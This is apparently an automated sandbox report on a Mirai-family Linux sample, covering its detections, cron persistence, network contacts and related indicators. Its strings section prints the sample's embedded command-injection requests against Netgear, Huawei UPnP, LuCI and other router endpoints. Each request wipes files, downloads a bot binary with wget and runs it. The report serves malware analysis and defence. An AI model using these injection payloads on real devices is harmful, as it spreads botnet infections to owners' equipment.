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Linux Analysis Report
spim.elf

Overview

General Information

Sample name:	spim.elf
Analysis ID:	1642633
MD5:	c2575dcc05d235fdba210f99feadb1d9
SHA1:	825241b59ae56c543490da9da9d5713c5b5c7bc0
SHA256:	77127ae9b28ce4a505666410fc5aa343d7b3cd4dc77ec07da5c6737fe75a5fcb
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "crontab" command typically for achieving persistence

Sample tries to persist itself using cron

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

HTTP GET or POST without a user agent

Reads the 'hosts' file potentially containing internal network hosts

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1642633
Start date and time:	2025-03-19 09:17:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	spim.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/2@1/0

Warnings

Connection to analysis system has been lost, crash info: Unknown
VT rate limit hit for: conn.masjesu.zip

Runtime Messages

Command:	/tmp/spim.elf
PID:	6232
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	no crontab for root

Process Tree

system is lnxubuntu20

spim.elf (PID: 6232, Parent: 6152, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/spim.elf

spim.elf New Fork (PID: 6234, Parent: 6232)

spim.elf New Fork (PID: 6236, Parent: 6234)

sh (PID: 6236, Parent: 6234, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab -l"

sh New Fork (PID: 6238, Parent: 6236)

crontab (PID: 6238, Parent: 6236, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

spim.elf New Fork (PID: 6239, Parent: 6234)

sh (PID: 6239, Parent: 6234, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab -"

sh New Fork (PID: 6241, Parent: 6239)

crontab (PID: 6241, Parent: 6239, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

spim.elf New Fork (PID: 6242, Parent: 6232)

spim.elf New Fork (PID: 6244, Parent: 6242)

spim.elf New Fork (PID: 6246, Parent: 6242)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author
spim.elf	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
spim.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
spim.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: spim.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: spim.elf

ReversingLabs: Detection: 44%

Source: global traffic

HTTP traffic detected: GET /.shell HTTP/1.1Host: 37.44.238.92Connection: close

Source: /tmp/spim.elf (PID: 6242)

Reads hosts file: /etc/hosts

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /.shell HTTP/1.1Host: 37.44.238.92Connection: close

Source: global traffic

DNS traffic detected: DNS query: conn.masjesu.zip

Source: spim.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: spim.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: spim.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51780
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /UD/act?1 HTTP/1.1

Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s/l7vmra;sh${IFS}/tmp/l7vmra&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra HTTP/1.1
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spim
Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra
Source: Initial sample	Potential command found: GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS};${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spimGET /board.cgi?cmd=cd+/tmp;rm+-rf+;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmraGET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
Source: Initial sample	Potential command found: GET /.shell HTTP/1.1
Source: Initial sample	Potential command found: GET / HTTP/1.1

Source: classification engine

Classification label: mal88.troj.linELF@0/2@1/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 6238)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 6241)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 6241)	File: /var/spool/cron/crontabs/tmp.nUQDM6			Jump to behavior
Source: /usr/bin/crontab (PID: 6241)	File: /var/spool/cron/crontabs/root			Jump to behavior

Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/1494/cmdline	Jump to behavior
Source: /tmp/spim.elf (PID: 6244)	File opened: /proc/260/cmdline	Jump to behavior

Source: /tmp/spim.elf (PID: 6236)	Shell command executed: sh -c "crontab -l"			Jump to behavior
Source: /tmp/spim.elf (PID: 6239)	Shell command executed: sh -c "crontab -"			Jump to behavior

Source: submitted sample

Stderr: no crontab for root: exit code = 0

Source: /tmp/spim.elf (PID: 6232)

Queries kernel information via 'uname':

Jump to behavior

Source: spim.elf, 6232.1.000055885ae45000.000055885aecc000.rw-.sdmp, spim.elf, 6234.1.000055885ae45000.000055885aecc000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: spim.elf, 6232.1.000055885ae45000.000055885aecc000.rw-.sdmp, spim.elf, 6234.1.000055885ae45000.000055885aecc000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: spim.elf, 6232.1.00007fff15d0a000.00007fff15d2b000.rw-.sdmp, spim.elf, 6234.1.00007fff15d0a000.00007fff15d2b000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/spim.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/spim.elf
Source: spim.elf, 6232.1.00007fff15d0a000.00007fff15d2b000.rw-.sdmp, spim.elf, 6234.1.00007fff15d0a000.00007fff15d2b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: spim.elf, type: SAMPLE

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: spim.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
spim.elf	44%	ReversingLabs	Linux.Backdoor.Gafgyt
spim.elf	100%	Avira	EXP/ELF.Agent.J.8

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://37.44.238.92/.shell	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
conn.masjesu.zip	77.90.153.218	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://37.44.238.92/.shell	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://schemas.xmlsoap.org/soap/encoding/	spim.elf	false	high
http://purenetworks.com/HNAP1/	spim.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	spim.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.171.230.55	unknown	United States	16509	AMAZON-02US	false
37.44.238.92	unknown	France	49434	HARMONYHOSTING-ASFR	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54.171.230.55	GwRba1mTFR.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	s-h.4-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	kaizen.sh4.elf	Get hash	malicious	Mirai	Browse
	sync.x86.elf	Get hash	malicious	Unknown	Browse
	sync.mipsel.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
37.44.238.92	686i.elf	Get hash	malicious	Mirai	Browse	37.44.238.92/.shell
37.44.238.92	l7vmra.elf	Get hash	malicious	Mirai	Browse	37.44.238.92/.shell
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	sync.mips.elf	Get hash	malicious	Unknown	Browse
	sync.arm4.elf	Get hash	malicious	Unknown	Browse
	sync.x86_64.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sync.m68k.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sync.powerpc.elf	Get hash	malicious	Unknown	Browse
	sync.arm6.elf	Get hash	malicious	Unknown	Browse
91.189.91.42	sync.mips.elf	Get hash	malicious	Unknown	Browse
	sync.arm4.elf	Get hash	malicious	Unknown	Browse
	sync.x86_64.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sync.m68k.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sync.powerpc.elf	Get hash	malicious	Unknown	Browse
	sync.arm6.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
conn.masjesu.zip	686i.elf	Get hash	malicious	Mirai	Browse	37.44.238.92
	l7vmra.elf	Get hash	malicious	Mirai	Browse	77.90.153.218
	LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf	Get hash	malicious	Mirai	Browse	216.126.231.240
	doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf	Get hash	malicious	Mirai	Browse	87.120.84.230
	wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf	Get hash	malicious	Mirai	Browse	216.126.231.240
	m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elf	Get hash	malicious	Mirai	Browse	216.126.231.240
	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf	Get hash	malicious	Mirai	Browse	216.126.231.240
	Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elf	Get hash	malicious	Mirai	Browse	87.120.84.230

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	sync.mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	sync.arm4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	sync.x86_64.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	sync.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	sync.mipsel.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	sync.powerpc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
AMAZON-02US	Request for Quotation 2170032137 PDF.exe	Get hash	malicious	FormBook	Browse	52.26.80.133
	na.elf	Get hash	malicious	Prometei	Browse	52.212.150.54
	na.elf	Get hash	malicious	Prometei	Browse	52.212.150.54
	bq0WOI4IP84Va7A.bat.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	na.elf	Get hash	malicious	Prometei	Browse	44.247.155.67
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	44.247.155.67
	na.elf	Get hash	malicious	Prometei	Browse	44.247.155.67
	na.elf	Get hash	malicious	Prometei	Browse	44.247.155.67
	miner.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
HARMONYHOSTING-ASFR	686i.elf	Get hash	malicious	Mirai	Browse	37.44.238.88
	gigab.arm5.elf	Get hash	malicious	Unknown	Browse	37.44.238.66
	gigab.mips.elf	Get hash	malicious	Unknown	Browse	37.44.238.66
	l7vmra.elf	Get hash	malicious	Mirai	Browse	37.44.238.92
	gigab.mips.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.spc.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.arm5.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.arm4.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.x86.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.ppc.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
INIT7CH	sync.mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	sync.arm4.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	sync.x86_64.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	sync.m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
